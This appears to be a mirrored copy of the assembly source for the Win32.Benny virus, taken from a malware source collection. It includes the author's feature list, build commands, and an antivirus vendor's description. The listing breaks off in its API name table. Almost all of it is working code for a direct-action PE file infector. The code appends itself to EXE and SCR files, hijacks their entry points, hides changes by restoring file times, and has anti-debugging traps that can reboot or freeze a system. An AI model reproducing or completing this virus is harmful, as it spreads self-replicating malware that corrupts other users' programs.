mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
995 lines
22 KiB
NASM
995 lines
22 KiB
NASM
;-------------------------------------;
|
|
; Win32.Benny (c) 1999 by Benny ;
|
|
;-------------------------------------;
|
|
;
|
|
;
|
|
;
|
|
;Author's description
|
|
;---------------------
|
|
;
|
|
;Welcome to my second Win32 virus! Don't expect any new things, I only
|
|
;present u my last lame virus. Here is it...
|
|
;
|
|
;Features:
|
|
;----------
|
|
; - Win32 infector
|
|
; - appends to the last section (usualy .reloc)
|
|
; - "already infected" mark as my spec. 64bit checksum.
|
|
; - no use of absolute addresses, gets GetModuleHandleA API from IAT
|
|
; - compressed (API strings only)
|
|
; - using memory mapped files for smarter handling of 'em
|
|
; - direct action
|
|
; - nonencrypted
|
|
; - armoured (using SEH), TD32 fails
|
|
;
|
|
;Targets:
|
|
;---------
|
|
; - *.EXE
|
|
; - *.SRC
|
|
;
|
|
;How to build:
|
|
;--------------
|
|
; - tasm32 -ml -q -m4 benny.asm
|
|
; tlink32 -Tpe -c -x -aa -r benny,,, import32
|
|
; pewrsec benny.exe
|
|
;
|
|
;
|
|
;
|
|
;AVP's description
|
|
;------------------
|
|
;
|
|
;Benny's notes r in "[* *]".
|
|
;
|
|
;
|
|
;This is a direct action (nonmemory resident) parasitic [* compressed *] Win32
|
|
;virus. It searches for PE EXE files in the Windows, Windows system and current
|
|
;directories [* shit! It DOESN'T infect Windows/System directories! *], then
|
|
;writes itself to the end of the file. The virus has bugs and in many cases
|
|
;corrupts files while infecting them [* Sorry, this is my last lame virus *].
|
|
;The virus checks file names and does not infect the files: RUNDLL32.EXE,
|
|
;TD32.EXE, TLINK32.EXE, TASM32.EXE [* and NTVDM.EXE *]. While infecting the
|
|
;virus increases the size of last file section, writes itself to there and
|
|
;modifies necessary PE header fields including program startup address.
|
|
;
|
|
;The virus contains the "copyright" string:
|
|
;
|
|
; Win32.Benny (c) 1999 by Benny
|
|
;
|
|
;
|
|
;
|
|
;And here is that promised babe:
|
|
|
|
|
|
|
|
|
|
.386p ;386 instructions
|
|
.model flat ;32bit offset, no segments
|
|
|
|
include PE.inc ;include some useful files
|
|
include MZ.inc
|
|
include Useful.inc
|
|
include Win32api.inc
|
|
|
|
|
|
nFile = 1 ;constants for decompress stage
|
|
nGet = 2
|
|
nSet = 3
|
|
nModule = 4
|
|
nHandle = 5
|
|
nCreate = 6
|
|
nFind = 7
|
|
nFirst = 8
|
|
nNext = 9
|
|
nClose = 10
|
|
nViewOf = 11
|
|
nDirectoryA = 12
|
|
nEXE = 13
|
|
|
|
|
|
extrn GetModuleHandleA:PROC ;APIs needed by first generation
|
|
extrn MessageBoxA:PROC
|
|
extrn ExitProcess:PROC
|
|
|
|
|
|
.data
|
|
db ? ;shut up, tlink32 !
|
|
ends
|
|
|
|
|
|
.code
|
|
Start_Virus:
|
|
pushad ;save all regs
|
|
call gdelta
|
|
|
|
ve_strings: ;compressed APIs
|
|
veszKernel32 db 'KERNEL32', 0
|
|
veszGetModuleHandleA db nGet, nModule, nHandle, 'A', 0
|
|
|
|
veszGetVersion db nGet, 'Version', 0
|
|
veszIsDebuggerPresent db 'IsDebuggerPresent', 0
|
|
veszCreateFileA db nCreate, nFile, 'A', 0
|
|
veszFindFirstFileA db nFind, nFirst, nFile, 'A', 0
|
|
veszFindNextFileA db nFind, nNext, nFile, 'A', 0
|
|
veszFindClose db nFind, nClose, 0
|
|
veszSetFileAttributesA db nSet, nFile, 'AttributesA', 0
|
|
veszCloseHandle db nClose, nHandle, 0
|
|
veszCreateFileMappingA db nCreate, nFile, 'MappingA', 0
|
|
veszMapViewOfFile db 'Map', nViewOf, nFile, 0
|
|
veszUnmapViewOfFile db 'Unmap', nViewOf, nFile, 0
|
|
veszSetFilePointer db nSet, nFile, 'Pointer', 0
|
|
veszSetEndOfFile db nSet, 'EndOf', nFile, 0
|
|
veszSetFileTime db nSet, nFile, 'Time', 0
|
|
veszGetWindowsDirectoryA db nGet, 'Windows', nDirectoryA, 0
|
|
veszGetSystemDirectoryA db nGet, 'System', nDirectoryA, 0
|
|
veszGetCurrentDirectoryA db nGet, 'Current', nDirectoryA, 0, 0
|
|
|
|
veszExe db '*', nEXE, 0
|
|
veszScr db '*.SCR', 0
|
|
veszNames db 'NTVDM', nEXE, 0 ;files, which we wont
|
|
db 'RUNDLL32', nEXE, 0 ;infect
|
|
db 'TD32', nEXE, 0
|
|
db 'TLINK32', nEXE, 0
|
|
db 'TASM32', nEXE, 0
|
|
vszNumberOfNamez = 5
|
|
|
|
end_ve_stringz db 0ffh ;end of compressed
|
|
;strings
|
|
string_subs: ;string substitutes
|
|
db 'File', 0
|
|
db 'Get', 0
|
|
db 'Set', 0
|
|
db 'Module', 0
|
|
db 'Handle', 0
|
|
db 'Create', 0
|
|
db 'Find', 0
|
|
db 'First', 0
|
|
db 'Next', 0
|
|
db 'Close', 0
|
|
db 'ViewOf', 0
|
|
db 'DirectoryA', 0
|
|
db '.EXE', 0
|
|
num = 14 ;number of 'em
|
|
|
|
gdelta: ;get delta offset
|
|
mov esi, [esp]
|
|
mov ebp, esi
|
|
sub ebp, offset ve_strings
|
|
lea edi, [ebp + v_strings]
|
|
|
|
next_ch:lodsb ;decompressing stage
|
|
test al, al
|
|
je copy_b
|
|
cmp al, 0ffh
|
|
je end_unpacking
|
|
cmp al, num+1
|
|
jb packed
|
|
copy_b: stosb
|
|
jmp next_ch
|
|
packed: push esi
|
|
lea esi, [ebp + string_subs]
|
|
mov cl, 1
|
|
mov dl, al
|
|
lodsb
|
|
packed2:test al, al
|
|
je _inc_
|
|
packed3:cmp cl, dl
|
|
jne un_pck
|
|
p_cpy: stosb
|
|
lodsb
|
|
test al, al
|
|
jne p_cpy
|
|
pop esi
|
|
jmp next_ch
|
|
un_pck: lodsb
|
|
test al, al
|
|
jne packed3
|
|
_inc_: inc ecx
|
|
jmp un_pck
|
|
|
|
seh_fn: @SEH_RemoveFrame ;remove exception frame
|
|
popad ;heal stack
|
|
call [ebp + MyGetVersion] ;get version of windoze
|
|
cmp eax, 80000000h ;WinNT ?
|
|
jb NT_debug_trap
|
|
cmp ax, 0a04h ;Win95 ?
|
|
jb seh_rs
|
|
|
|
call IsDebugger ;Win98, check, if debugger active
|
|
jecxz seh_rs ;no, continue
|
|
mov eax, 909119cdh ;yeah, reboot system
|
|
jmp $ - 4
|
|
|
|
NT_debug_trap:
|
|
call IsDebugger ;WinNT, check, if debugger active
|
|
jecxz seh_rs ;no, continue
|
|
xor esp, esp ;yeah, freeze app
|
|
|
|
IsDebugger:
|
|
call [ebp + MyIsDebuggerPresent] ;call checkin API
|
|
xchg eax, ecx
|
|
ret
|
|
|
|
quit: pop eax
|
|
mov eax, [ebp + OrigEPoint] ;get original entrypoint rva
|
|
sub eax, -400000h ;make it raw pointer
|
|
mov [esp.Pushad_eax], eax
|
|
popad
|
|
jmp eax ;jump to host
|
|
|
|
end_unpacking:
|
|
lea edx, [ebp + vszKernel32] ;KERNEL32
|
|
push edx
|
|
mov edx, [ebp + MyGetModuleHandleA] ;GetModuleHandleA API
|
|
call [edx] ;get module of kernel32
|
|
xchg eax, ecx
|
|
jecxz quit ;shit, not found, jump to host
|
|
xchg ecx, ebx
|
|
|
|
lea edi, [ebp + Virus_End] ;get addresses of APIs
|
|
lea esi, [ebp + f_names]
|
|
GetAPIAddress:
|
|
call MyGetProcAddress
|
|
jecxz quit
|
|
xchg eax, ecx
|
|
stosd
|
|
@endsz
|
|
cmp byte ptr [esi], 0
|
|
jne GetAPIAddress
|
|
|
|
pushad ;now, we have all APIs, we can check
|
|
@SEH_SetupFrame ;for debugger
|
|
inc dword ptr gs:[edx] ;raise exception
|
|
;now, we continue at seh_fn label
|
|
|
|
seh_rs: lea esi, [ebp + PathName] ;debugger not present, continue
|
|
push esi
|
|
push esi
|
|
push 256
|
|
call [ebp + MyGetCurrentDirectoryA] ;get current directory
|
|
pop ebx
|
|
|
|
push 256
|
|
lea edi, [ebp + WindowsPath]
|
|
push edi
|
|
call [ebp + MyGetWindowsDirectoryA] ;get windows directory
|
|
|
|
Next_Char:
|
|
cmpsb ;compare directories
|
|
jmp_patch:
|
|
jne NoMatch ;this jump will be path in next check
|
|
jne Try_Process_Dir ;jump for next check fail
|
|
Matched_Char:
|
|
cmp byte ptr [esi - 1], 0 ;end of string ?
|
|
jne Next_Char
|
|
jmp quit
|
|
|
|
NoMatch: ;check for system directory
|
|
push 256
|
|
lea edi, [ebp + WindowsPath]
|
|
push edi
|
|
call [ebp + MyGetSystemDirectoryA]
|
|
|
|
mov word ptr [ebp + jmp_patch], 9090h ;patch jump
|
|
mov esi, ebx
|
|
jmp Next_Char
|
|
|
|
Try_Process_Dir:
|
|
call FindFirstFile ;we arnt in \windoze or \system dir, find file
|
|
inc eax ;success ?
|
|
je Try_Scr ;nope, try SCRs
|
|
dec eax
|
|
|
|
process_dir_check:
|
|
call CheckFileName ;check name
|
|
jnc Infect_File ;ok, infect file
|
|
|
|
call FindNextFile ;nope, find next file
|
|
test eax, eax
|
|
jne process_dir_check ;ok, check name
|
|
|
|
Try_Scr:
|
|
call FindClose ;find previous searchin
|
|
lea edx, [ebp + Win32_Find_Data]
|
|
push edx
|
|
lea edx, [ebp + vszScr]
|
|
push edx
|
|
call [ebp + MyFindFirstFileA] ;find first SCR
|
|
inc eax
|
|
je quit ;no files left, jump to host
|
|
dec eax
|
|
|
|
Infect_File:
|
|
;Check size
|
|
xor ecx, ecx
|
|
lea ebx, [ebp + Win32_Find_Data]
|
|
test byte ptr [ebx], FILE_ATTRIBUTE_DIRECTORY
|
|
jne end_size_check ;discard directories
|
|
cmp [ebx.WFD_nFileSizeHigh], ecx ;discard huge files
|
|
jne end_size_check
|
|
mov edi, [ebx.WFD_nFileSizeLow]
|
|
lea esi, [ebx.WFD_szFileName]
|
|
cmp edi, 16 * 1024 ;discard small files
|
|
jb end_size_check
|
|
cmp edi, 64000 * 1024
|
|
jg end_size_check ;discard huge files
|
|
|
|
push ecx ;blank file attributez
|
|
push esi
|
|
call [ebp + MySetFileAttributesA]
|
|
test eax, eax
|
|
je end_size_check
|
|
|
|
push edi ;open and map file
|
|
sub edi, Start_Virus - Virtual_End
|
|
call Open&MapFile
|
|
pop edi
|
|
test ecx, ecx
|
|
je end_SetFileAttributez
|
|
|
|
cmp word ptr [ecx], 'ZM' ;Check PE-header
|
|
jne Close&UnmapFile
|
|
xchg eax, edx
|
|
mov edx, [ecx.MZ_lfanew]
|
|
cmp eax, edx
|
|
jb CloseFile
|
|
add edx, ecx
|
|
cmp dword ptr [edx], 'EP'
|
|
jne CloseFile
|
|
movzx eax, word ptr [edx.NT_FileHeader.FH_Machine]
|
|
cmp ax, 14ch ;must be 386+
|
|
jne CloseFile
|
|
|
|
mov ebx, ecx
|
|
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections]
|
|
cmp ecx, 3
|
|
jb CloseFile ;at least 3 sections
|
|
mov ax, word ptr [edx.NT_FileHeader.FH_Characteristics]
|
|
not al
|
|
test ax, 2002h ;executable, but not DLL
|
|
jne CloseFile
|
|
cmp dword ptr [edx.NT_OptionalHeader.OH_ImageBase], 64*65536 ;image base only 400000h
|
|
jne CloseFile
|
|
|
|
lea eax, [ebp + vszGetModuleHandleA]
|
|
mov ecx, ebx
|
|
lea edx, [ebp + vszKernel32]
|
|
call GetProcAddressIT ;find GetModuleHandleA API entry
|
|
test eax, eax
|
|
je CloseFile
|
|
lea edx, [ebp + MyGetModuleHandleA]
|
|
sub eax, -400000h
|
|
mov [edx], eax ;save that entry
|
|
|
|
pushad ;load 64bit checksum
|
|
push ebx
|
|
mov esi, ebx
|
|
sub esi, -MZ_res2
|
|
lodsd
|
|
mov ebx, eax
|
|
lodsd
|
|
mov edi, eax
|
|
|
|
pop esi
|
|
push esi
|
|
push ebp
|
|
|
|
mov eax, [ebp + Win32_Find_Data.WFD_nFileSizeLow]
|
|
sub esi, -MZ_res2 - 8
|
|
mov ebp, 8
|
|
cdq
|
|
div ebp
|
|
cdq
|
|
mul ebp
|
|
|
|
pop ebp
|
|
mov ecx, eax
|
|
call Checksum64 ;generate new 64bit checksum
|
|
|
|
pop esi ;and compare checksums
|
|
cmp ebx, edx
|
|
jne n_Infect
|
|
cmp edi, eax
|
|
je CloseFile
|
|
|
|
n_Infect:
|
|
popad
|
|
push ecx
|
|
push ecx
|
|
mov edx, [ecx.MZ_lfanew]
|
|
add edx, ecx
|
|
|
|
movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
|
|
lea esi, [edx.NT_OptionalHeader + esi] ;locate first section
|
|
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz
|
|
mov edi, esi ;get LAST section
|
|
xor eax, eax
|
|
push ecx
|
|
BSection:
|
|
cmp [edi.SH_PointerToRawData], eax
|
|
je NBiggest
|
|
mov ebx, ecx
|
|
mov eax, [edi.SH_PointerToRawData]
|
|
NBiggest:
|
|
sub edi, -IMAGE_SIZEOF_SECTION_HEADER
|
|
loop BSection
|
|
pop ecx
|
|
sub ecx, ebx
|
|
|
|
push edx
|
|
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
|
|
pop edx
|
|
add esi, eax
|
|
|
|
mov edi, dword ptr [esi.SH_SizeOfRawData]
|
|
mov eax, Virtual_End - Start_Virus
|
|
push edi
|
|
lea edi, [esi.SH_VirtualSize] ;new virtual size of section
|
|
push dword ptr [edi]
|
|
add [edi], eax
|
|
mov eax, [edi]
|
|
|
|
push edx
|
|
mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment]
|
|
xor edx, edx
|
|
div ecx
|
|
xor edx, edx
|
|
inc eax
|
|
mul ecx
|
|
mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size)
|
|
mov ecx, eax
|
|
pop edx
|
|
|
|
pop ebx
|
|
add ebx, [esi.SH_VirtualAddress]
|
|
mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
|
pop edi
|
|
push eax
|
|
mov eax, [ebp + OrigEPoint]
|
|
pop [ebp + OrigEPoint]
|
|
mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebx
|
|
sub ecx, edi
|
|
add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage
|
|
or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags
|
|
|
|
pop edi
|
|
add edi, [esi.SH_PointerToRawData]
|
|
add edi, [esi.SH_VirtualSize]
|
|
add edi, Start_Virus - Virtual_End
|
|
lea esi, [ebp + Start_Virus]
|
|
mov ecx, (Virus_End - Start_Virus + 3) / 4
|
|
rep movsd ;copy virus
|
|
mov [ebp + OrigEPoint], eax ;restore variable after copy stage
|
|
jmp CloseFileOK
|
|
|
|
CloseFile:
|
|
call Close&UnmapFile ;unmap view of file
|
|
jmp end_SetFileAttributez ;and restore attributes
|
|
|
|
CloseFileOK:
|
|
pop esi
|
|
push esi
|
|
push ebx
|
|
push ebp
|
|
|
|
mov ebp, 8
|
|
mov ebx, MZ_res2 + 8
|
|
add esi, ebx
|
|
mov ecx, ebp
|
|
mov eax, edi
|
|
add eax, ebx
|
|
sub eax, esi
|
|
cdq
|
|
div ecx
|
|
cdq
|
|
imul ecx, eax, 8
|
|
call Checksum64 ;generate new 64bit checksum as "already infected" mark
|
|
sub esi, ebp
|
|
mov [esi], edx ;store it to MZ.MZ_res2 field
|
|
mov [esi+4], eax
|
|
|
|
pop ebp
|
|
pop ebx
|
|
pop esi
|
|
sub edi, esi
|
|
mov [ebp + Win32_Find_Data.WFD_nFileSizeLow], edi ;correct file size for unmapping
|
|
call Close&UnmapFile ;unmap view of file
|
|
|
|
end_SetFileAttributez:
|
|
push dword ptr [ebp + Win32_Find_Data] ;restore attributes
|
|
push esi
|
|
call [ebp + MySetFileAttributesA]
|
|
|
|
end_size_check:
|
|
call FindNextFile ;find next file
|
|
test eax, eax
|
|
jne next_file ;weve got one, check that
|
|
call FindClose ;nope, close search handle
|
|
jmp quit ;and jump to host
|
|
|
|
next_file:
|
|
call CheckFileName ;check file name
|
|
jnc Infect_File ;ok, infect it
|
|
jmp end_size_check ;nope, try next file
|
|
|
|
|
|
CheckFileName proc ;check file name
|
|
lea edi, [ebp + Win32_Find_Data.WFD_szFileName]
|
|
lea esi, [ebp + vszNamez]
|
|
mov ecx, vszNumberOfNamez
|
|
mov edx, edi
|
|
Ext_Next_Char:
|
|
@endsz
|
|
mov edi, edx
|
|
Ext_Next_Char2:
|
|
cmpsb
|
|
je Ext_Matched_Char
|
|
inc eax
|
|
loop Ext_Next_Char
|
|
clc
|
|
ret
|
|
Ext_Matched_Char:
|
|
cmp byte ptr [esi - 1], 0
|
|
jne Ext_Next_Char2
|
|
stc
|
|
end_Ext_Checking:
|
|
ret
|
|
CheckFileName EndP
|
|
|
|
|
|
FindFirstFile proc ;find first file procedure
|
|
lea edx, [ebp + Win32_Find_Data]
|
|
push edx
|
|
lea edx, [ebp + vszExe]
|
|
push edx
|
|
call [ebp + MyFindFirstFileA]
|
|
mov [ebp + SearchHandle], eax
|
|
ret
|
|
FindFirstFile EndP
|
|
|
|
FindNextFile proc ;find next file procedure
|
|
lea edx, [ebp + Win32_Find_Data]
|
|
push edx
|
|
push dword ptr [ebp + SearchHandle]
|
|
call [ebp + MyFindNextFileA]
|
|
ret
|
|
FindNextFile EndP
|
|
|
|
FindClose proc ;find close procedure
|
|
push dword ptr [ebp + SearchHandle]
|
|
call [ebp + MyFindClose]
|
|
ret
|
|
FindClose EndP
|
|
|
|
|
|
|
|
Open&MapFile proc ;open and map file procedure
|
|
xor eax, eax
|
|
push eax ;NULL
|
|
push eax ;FILE_ATTRIBUTE_NORMAL
|
|
push 3 ;OPEN_EXISTING
|
|
push eax ;NULL
|
|
push 1 ;FILE_SHARE_READ
|
|
push 0c0000000h ;GENERIC_READ | GENERIC_WRITE
|
|
push esi ;pszFileName
|
|
call [ebp + MyCreateFileA] ;open
|
|
cdq
|
|
inc eax
|
|
je end_Open&MapFile
|
|
dec eax
|
|
mov [ebp + hFile], eax
|
|
|
|
push edx ;NULL
|
|
push edi ;file size
|
|
push edx ;0
|
|
push 4 ;PAGE_READWRITE
|
|
push edx ;NULL
|
|
push eax ;handle
|
|
call [ebp + MyCreateFileMappingA] ;create mapping object
|
|
cdq
|
|
xchg ecx, eax
|
|
jecxz end_Open&MapFile2
|
|
mov [ebp + hMapFile], ecx
|
|
|
|
push edx ;0
|
|
push edx ;0
|
|
push edx ;0
|
|
push 2 ;FILE_MAP_WRITE
|
|
push ecx ;handle
|
|
call [ebp + MyMapViewOfFile] ;map file to address space of app
|
|
mov ecx, eax
|
|
jecxz end_Open&MapFile3
|
|
mov [ebp + lpFile], ecx
|
|
|
|
end_Open&MapFile:
|
|
mov ecx, eax
|
|
ret
|
|
Open&MapFile EndP
|
|
|
|
|
|
Close&UnmapFile proc ;close and unmap file procedure
|
|
push dword ptr [ebp + lpFile]
|
|
call [ebp + MyUnmapViewOfFile] ;unmap file
|
|
|
|
end_Open&MapFile3:
|
|
push dword ptr [ebp + hMapFile]
|
|
call [ebp + MyCloseHandle] ;close mapping object
|
|
|
|
end_Open&MapFile2:
|
|
mov ebx, [ebp + hFile]
|
|
|
|
cdq ;xor edx, edx
|
|
push edx ;FILE_BEGIN
|
|
push edx ;0 - high offset
|
|
push dword ptr [ebp + Win32_Find_Data.WFD_nFileSizeLow]
|
|
push ebx
|
|
call [ebp + MySetFilePointer]
|
|
|
|
push ebx
|
|
call [ebp + MySetEndOfFile] ;truncate file
|
|
|
|
lea edx, [ebp + Win32_Find_Data.WFD_ftLastWriteTime]
|
|
push edx
|
|
lea edx, [ebp + Win32_Find_Data.WFD_ftLastAccessTime]
|
|
push edx
|
|
lea edx, [ebp + Win32_Find_Data.WFD_ftCreationTime]
|
|
push edx
|
|
push ebx
|
|
call [ebp + MySetFileTime] ;restore time
|
|
|
|
push ebx
|
|
call [ebp + MyCloseHandle] ;and finally close file
|
|
ret
|
|
Close&UnmapFile EndP
|
|
|
|
|
|
|
|
;procedure for exploring modules export table
|
|
MyGetProcAddress proc ;input:
|
|
;ebx - module address
|
|
;esi - pointer to API name
|
|
;output:
|
|
;ecx - address of GetProcAddress at memory
|
|
push ebx
|
|
push edi
|
|
push esi
|
|
push ebp
|
|
@SEH_SetupFrame
|
|
mov eax, ebx
|
|
add eax, [eax.MZ_lfanew]
|
|
mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
|
|
jecxz Proc_Address_not_found
|
|
mov ebp, ebx
|
|
add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
|
|
|
|
push ecx
|
|
mov edx, ebx
|
|
add edx, [ebp.ED_AddressOfNames]
|
|
mov ecx, [ebp.ED_NumberOfNames]
|
|
xor eax, eax
|
|
|
|
Search_for_API_name:
|
|
|
|
mov edi, [esp + 16]
|
|
mov esi, ebx
|
|
add esi, [edx + eax * 4]
|
|
|
|
Next_Char_in_API_name:
|
|
cmpsb
|
|
jz Matched_char_in_API_name
|
|
inc eax
|
|
loop Search_for_API_name
|
|
pop eax
|
|
|
|
Proc_Address_not_found:
|
|
xor eax, eax
|
|
jmp End_MyGetProcAddress
|
|
|
|
Matched_char_in_API_name:
|
|
cmp byte ptr [esi-1], 0
|
|
jne Next_Char_in_API_name
|
|
pop ecx
|
|
mov edx, ebx
|
|
add edx, [ebp.ED_AddressOfOrdinals]
|
|
movzx eax, word ptr [edx + eax * 2]
|
|
|
|
Check_Index:
|
|
cmp eax, [ebp.ED_NumberOfFunctions]
|
|
jae Proc_Address_not_found
|
|
mov edx, ebx
|
|
add edx, [ebp.ED_AddressOfFunctions]
|
|
add ebx, [edx + eax * 4]
|
|
mov eax, ebx
|
|
sub ebx, ebp
|
|
cmp ebx, ecx
|
|
jb Proc_Address_not_found
|
|
|
|
End_MyGetProcAddress:
|
|
@SEH_RemoveFrame
|
|
xchg eax, ecx
|
|
pop ebp
|
|
pop esi
|
|
pop edi
|
|
pop ebx
|
|
ret
|
|
MyGetProcAddress endp
|
|
|
|
|
|
;all beginners=> im so sorry, but I didnt have any time to comment this stuff.
|
|
GetProcAddressIT proc ;input:
|
|
;EAX - API name
|
|
;ECX - lptr to PE header
|
|
;EDX - module name
|
|
;output:
|
|
;EAX - RVA pointer to IAT, 0 if error
|
|
pushad
|
|
xor eax, eax
|
|
push ebp
|
|
mov ebp, ecx
|
|
lea esi, [ecx.MZ_lfanew]
|
|
add ebp, [esi]
|
|
mov esi, ebp
|
|
;RVA of Import table
|
|
mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
|
|
mov ebp, ecx
|
|
|
|
push ecx
|
|
movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections]
|
|
movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
|
|
lea ebx, [esi.NT_OptionalHeader + ebx]
|
|
|
|
scan_sections:
|
|
mov edx, [ebx.SH_VirtualAddress]
|
|
cmp edx, eax
|
|
je section_found
|
|
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER
|
|
loop scan_sections
|
|
pop ecx
|
|
pop eax
|
|
jmp End_GetProcAddressIT2
|
|
|
|
section_found:
|
|
mov ebx, [ebx + 20]
|
|
add ebx, ebp
|
|
pop ecx
|
|
pop eax
|
|
test ebx, ebx
|
|
je End_GetProcAddressIT2
|
|
|
|
xor esi, esi
|
|
xor ebp, ebp
|
|
push esi
|
|
dec ebp
|
|
Get_DLL_Name:
|
|
pop esi
|
|
inc ebp
|
|
mov edi, [esp + 20]
|
|
mov ecx, [ebx.esi.ID_Name] ;Name RVA
|
|
|
|
test ecx, ecx
|
|
je End_GetProcAddressIT2
|
|
sub ecx, edx
|
|
sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|
push esi
|
|
lea esi, [ebx + ecx]
|
|
|
|
Next_Char_from_DLL:
|
|
lodsb
|
|
add al, -'.'
|
|
jz IT_nup
|
|
sub al, -'.' + 'a'
|
|
cmp al, 'z' - 'a' + 1
|
|
jae no_up
|
|
add al, -20h
|
|
no_up: sub al, -'a'
|
|
IT_nup: scasb
|
|
jne Get_DLL_Name
|
|
cmp byte ptr [edi-1], 0
|
|
jne Next_Char_from_DLL
|
|
|
|
Found_DLL_Name:
|
|
pop esi
|
|
imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|
mov ecx, [ebx + eax.ID_OriginalFirstThunk]
|
|
jecxz End_GetProcAddressIT2
|
|
sub ecx, edx
|
|
add ecx, ebx
|
|
|
|
xor esi, esi
|
|
Next_Imported_Name:
|
|
push esi
|
|
mov edi, [esp + 32]
|
|
mov esi, [ecx + esi]
|
|
test esi, esi
|
|
je End_GetProcAddressIT3
|
|
sub esi, edx
|
|
add esi, ebx
|
|
lodsw
|
|
next_char:
|
|
cmpsb
|
|
jne next_step
|
|
cmp byte ptr [esi-1], 0
|
|
je got_it
|
|
jmp next_char
|
|
next_step:
|
|
pop esi
|
|
sub esi, -4
|
|
jmp Next_Imported_Name
|
|
|
|
got_it: pop esi
|
|
imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|
add ebx, ebp
|
|
mov eax, [ebx.ID_FirstThunk]
|
|
add eax, esi
|
|
|
|
mov [esp + 28], eax
|
|
jmp End_GetProcAddressIT
|
|
|
|
End_GetProcAddressIT3:
|
|
pop eax
|
|
End_GetProcAddressIT2:
|
|
xor eax, eax
|
|
mov [esp.Pushad_eax], eax
|
|
End_GetProcAddressIT:
|
|
popad
|
|
ret
|
|
GetProcAddressIT EndP
|
|
|
|
|
|
Checksum64 proc ;output:
|
|
; EDX:EAX - 64-bit checksum
|
|
|
|
push ebx ;save regs
|
|
push ecx
|
|
push edi
|
|
push esi
|
|
xor eax, eax ;nulify eax
|
|
cdq ;nulify edx
|
|
make_crc:
|
|
call crc_byte ;read 8 bytes
|
|
adc eax, ebx ;add LSD + CF to LSD
|
|
jnc @1
|
|
not eax ;invert LSD
|
|
@1: xor eax, edx ;rotate LSD LSB times
|
|
jp @2
|
|
call crc_rotate ;rotate LSD and MSD
|
|
@2: js crc_msd
|
|
sbb eax, edx ;sub LSD with MSD + CF
|
|
crc_msd:sbb edx, edi ;sub MSD with MSD + CF
|
|
jnp @3
|
|
not edx ;invert MSD
|
|
@3: xor edx, eax ;xor MSD with LSD
|
|
jns @4
|
|
call crc_rotate ;rotate LSD and MSD
|
|
@4: jc crc_loop
|
|
adc edx, eax ;add LSD to MSD + CF
|
|
crc_loop:
|
|
jp next_loop
|
|
call crc_swap ;swap bytes in LSD and MSD
|
|
next_loop:
|
|
dec eax ;decrement LSD
|
|
inc edx ;increment MSD
|
|
loop make_crc ;until ecx = 1
|
|
pop esi ;restore regs
|
|
pop edi
|
|
pop ecx
|
|
pop ebx
|
|
ret
|
|
|
|
crc_byte: ;read 8 bytes from source
|
|
push eax
|
|
lodsd ;load 4 bytes
|
|
mov ebx, eax ;ebx = new 4 bytes
|
|
lodsd ;load next 4 bytes
|
|
mov edi, eax ;edi = new 4 bytes
|
|
pop eax
|
|
add ecx, -7 ;correct ecx for loop
|
|
ret
|
|
crc_rotate: ;rotate LSD and MSD
|
|
push ecx
|
|
push edi
|
|
xor edi, eax ;xor MSD with LSD
|
|
mov ecx, edi ;count of rotations
|
|
pop edi
|
|
rcr eax, cl ;rotate LSD
|
|
push ebx
|
|
xor ebx, edx ;xor LSD with MSD
|
|
mov ecx, ebx ;count of rotations
|
|
pop ebx
|
|
rcl edx, cl ;rotate MSD
|
|
pop ecx
|
|
ret
|
|
crc_swap: ;swap bytes in LSD and MSD
|
|
xchg al, dh ;swap LSD and MSD lower bytes
|
|
xchg ah, dl ; ...
|
|
rol eax, 16 ;get highest bytes
|
|
rol edx, 16 ; ...
|
|
xchg al, dh ;swap LSD and MSD higher bytes
|
|
xchg ah, dl ; ...
|
|
xchg eax, edx ;and swap LSD with MSD
|
|
ret
|
|
db 'Win32.Benny (c) 1999 by Benny', 0 ;my mark
|
|
Checksum64 EndP
|
|
|
|
|
|
OrigEPoint dd offset host - 400000h
|
|
MyGetModuleHandleA dd offset _GetModuleHandleA
|
|
|
|
Virus_End:
|
|
MyGetVersion dd ?
|
|
MyIsDebuggerPresent dd ?
|
|
MyCreateFileA dd ?
|
|
MyFindFirstFileA dd ?
|
|
MyFindNextFileA dd ?
|
|
MyFindClose dd ?
|
|
MySetFileAttributesA dd ?
|
|
MyCloseHandle dd ?
|
|
MyCreateFileMappingA dd ?
|
|
MyMapViewOfFile dd ?
|
|
MyUnmapViewOfFile dd ?
|
|
MySetFilePointer dd ?
|
|
MySetEndOfFile dd ?
|
|
MySetFileTime dd ?
|
|
MyGetWindowsDirectoryA dd ?
|
|
MyGetSystemDirectoryA dd ?
|
|
MyGetCurrentDirectoryA dd ?
|
|
|
|
v_strings:
|
|
vszKernel32 db 'KERNEL32', 0
|
|
vszGetModuleHandleA db 'GetModuleHandleA', 0
|
|
f_names:
|
|
vszGetVersion db 'GetVersion', 0
|
|
vszIsDebuggerPresent db 'IsDebuggerPresent', 0
|
|
vszCreateFileA db 'CreateFileA', 0
|
|
vszFindFirstFileA db 'FindFirstFileA', 0
|
|
vszFindNextFileA db 'FindNextFileA', 0
|
|
vszFindClose db 'FindClose', 0
|
|
vszSetFileAttributesA db 'SetFileAttributesA', 0
|
|
vszCloseHandle db 'CloseHandle', 0
|
|
vszCreateFileMappingA db 'CreateFileMappingA', 0
|
|
